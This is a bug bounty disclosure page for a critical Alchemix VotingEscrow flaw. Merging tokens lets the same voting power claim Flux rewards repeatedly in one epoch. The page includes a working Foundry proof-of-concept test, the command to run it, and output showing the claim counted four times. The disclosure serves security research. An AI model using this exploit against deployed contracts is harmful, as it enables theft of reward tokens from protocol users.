Skip to content
Business logic Audit finding Intermediate

Merging tokens allows multiple Flux accruals wi

The merge function in VotingEscrow allows a token that has already claimed Flux in an epoch to be merged into a fresh token, transferring its voting power. An attacker can repeatedly merge a voted token into new tokens to claim Flux multiple times with the same voting power, leading to unlimited Flux accrual.

Holterhus Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

31488 - [SC - Critical] Merging tokens allows multiple Flux accruals wi...

Submitted on May 20th 2024 at 10:37:06 UTC by @Holterhus for Boost | Alchemix

Report ID: #31488

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol

Impacts:

  • Theft of unclaimed yield

Description

Brief/Intro

A token that has claimed Flux in the current epoch can be merged with a token that has not yet claimed Flux. This allows the already claimed token to transfer its Flux and reuse its voting power through the non-voted token. An attacker can exploit this by repeatedly merging voted tokens with fresh, non-claimed tokens to perpetually claim Flux using the same initial voting power. This allows an attacker to accrue unlimited Flux instantly.

Vulnerability Details

Every token is allowed to accrue Flux once per epoch. The amount of claimable Flux is calculated in the claimableFlux() function, which multiplies the current voting power of the token by fluxPerVeALCX.

In the VotingEscrow contract, the merge() function allows a user to combine the voting power of token from and token to, with the from token ultimately burned while the to token continues with the combined voting power. Nothing prevents someone from claiming Flux with the from token, transferring its voting power to a fresh to token, and claiming Flux again. This will double count the underlying voting power and allow claiming multiple times in an epoch.

Impact Details

An attacker can repeat the accrual of their Flux multiple times in an epoch using the same underlying voting power. This allows for an infinite mint of Flux.

References

See the PoC below.

Proof of Concept

I have created the following test file and added it to the tests/ directory:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract UnlimitedAccrueFluxBug is BaseTest {

    constructor() {
        setupContracts(block.timestamp);
    }

    uint256 constant NUM_LOOPS = 5;

    function testUnlimitedAccrueFluxBug() public {
        vm.startPrank(admin);

        uint256[] memory tokenIds = new uint256[](NUM_LOOPS);
        for (uint256 i; i < NUM_LOOPS; ++i) {
            if (i == 0) tokenIds[i] = createVeAlcx(admin, TOKEN_100K, MAXTIME, false);
            else tokenIds[i] = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        }

        uint256 expectedClaimableFlux;
        for (uint256 i; i < NUM_LOOPS; ++i) {
            expectedClaimableFlux += veALCX.claimableFlux(tokenIds[i]);
        }

        for (uint256 i = 1; i < NUM_LOOPS; ++i) {
            uint256 prev = tokenIds[i-1];
            uint256 next = tokenIds[i];

            voter.reset(prev);
            flux.claimFlux(prev, flux.getUnclaimedFlux(prev));
            veALCX.merge(prev, next);
        }

        console.log("Expected claimable FLUX:", expectedClaimableFlux);
        console.log("Actual FLUX claimed:", flux.balanceOf(admin));

        vm.stopPrank();
    }

}

Running the command forge test -vvv --match-test testUnlimitedAccrueFluxBug --rpc-url $ETH_RPC_URL gives the following result:

[PASS] testUnlimitedAccrueFluxBug() (gas: 5019008)
Logs:
  Expected claimable FLUX: 98583512563800063892800
  Actual FLUX claimed: 39432419229826226642800

Since 39432419229826226642800 / 98583512563800063892800 is approximately 3.999, this specific example shows that the Flux from tokenIds[0] can be quadruple counted by using 4 fresh token ids.

The original report as published on Immunefi, by Holterhus. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker can repeatedly accrue Flux multiple times in an epoch using the same underlying voting power, allowing for an infinite mint of Flux.

What the attacker needed

Attacker controls multiple tokens; at least one token has voting power

How it was found

  1. Create a token with a large voting power and several fresh tokens with minimal voting power.
  2. For each fresh token, reset the previous token's votes, claim its unclaimed Flux, then merge it into the next token.
  3. Observe that the total Flux claimed exceeds the expected claimable amount, demonstrating multiple counting.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Flux is a reward token earned by locking tokens and voting. Each locked token can claim Flux once per epoch. The merge function combines two locked tokens into one, but it does not check if the source token already claimed Flux. So an attacker can claim Flux, merge the token into a new one, and claim again, repeating to get more Flux than allowed.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Holterhus

View all

7 more disclosed reports, best first.

More from Alchemix

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.